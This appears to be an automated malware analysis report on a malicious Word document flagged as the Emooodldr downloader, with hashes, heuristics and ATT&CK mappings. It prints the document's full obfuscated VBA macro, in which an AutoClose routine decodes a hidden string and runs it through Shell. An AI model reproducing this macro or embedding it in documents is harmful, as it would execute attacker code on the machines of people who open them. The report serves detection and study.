Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 aeb1e902075da6dc…

MALICIOUS

Office (OOXML)

53.3 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-04-18
MD5: f2e43e556ec1d89e283cd22af4d3fca9 SHA-1: 5f42072c970484a09da377c8bb3b2b651ba1696a SHA-256: aeb1e902075da6dc2d2526751276cc6602c819bbea2e668e9dc3baaf9d177adc
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample is an OOXML document containing VBA macros. The AutoClose macro is present and calls the Shell() function, indicating an attempt to execute arbitrary code. The obfuscated VBA script likely downloads and executes a second-stage payload, as suggested by the ClamAV detection name 'Emooodldr'. The presence of VBA macros and the execution of Shell() are strong indicators of malicious intent, likely delivered via spearphishing.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2008 bytes
SHA-256: 7749781d88b9bb93adf40f5cdb33cd5ff12c885e558b1a01bc37063650cd1ac3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function mystify(nailrod)
  shoepack = Array("i", "T", "O", "F", "U", "z", "b", "j", "E", "1", "B", "L", "4", "G", "k", "l", "2", "", "p", "V", "v", "g", "r", "R", "o", "W", "A")
  complexionist = Array("?", "f", "o", "x", "t", ".", "i", "m", "a", "e", "R", "u", "G", ":", "s", "/", "j", " ", "w", "n", "h", "P", "p", "c", "=", "b", "q")
  
  codebtors = vbNullString
  
  For Each convict In nailrod
    ditzy = parameric(convict, shoepack)
    If ditzy > -1 Then
    codebtors = complexionist(ditzy) + codebtors
    End If
  Next
  
  mystify = StrReverse(codebtors)
  
End Function

Public Function parameric(amphizoidae, kreuzers)
  keratalgia = 5521
  acle = 7919
  For keratalgia = 0 To UBound(kreuzers)
    If kreuzers(keratalgia) = amphizoidae And keratalgia > -1 Then
     acle = keratalgia
    End If
  Next

  If acle = 7919 Then
    acle = -1
  End If
  
  parameric = acle
End Function


Sub AutoClose()
  nailrod = Array("j", "k", "v", "U", "E", "z", "1", "F", "1", "", "v", "U", "U", "r", "G", "l", "l", "O", "A", "b", "2", "p", "L", "V", "1", "A", "E", "k", "R", "W", "A", "p", "1", "1", "z", "R", "O", "j", "l", "B", "g", "4", "l", "k", "O", "T", "z", "r", "v", "r", "i", "L", "U", "j", "E", "o", "O", "r", "k", "1")
  radiocarpal = mystify(nailrod)
  
  Application.Run "agueweeds", (radiocarpal)
  
End Sub


Private Sub agueweeds(undistinguishingly)
   
   tray = 16202
   paraphrases = True
   
   While paraphrases
     intercoxal = tray + 717
     If intercoxal - tray > 1 Then
       kegger = peddle + "ll"
       Call VBA.Shell(undistinguishingly, vbNormalFocus - 1)
       paraphrases = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: a9a8adb1d903e0bd16ebb7552a58a522a4c8d66a270ff8c0482470054bd5a200
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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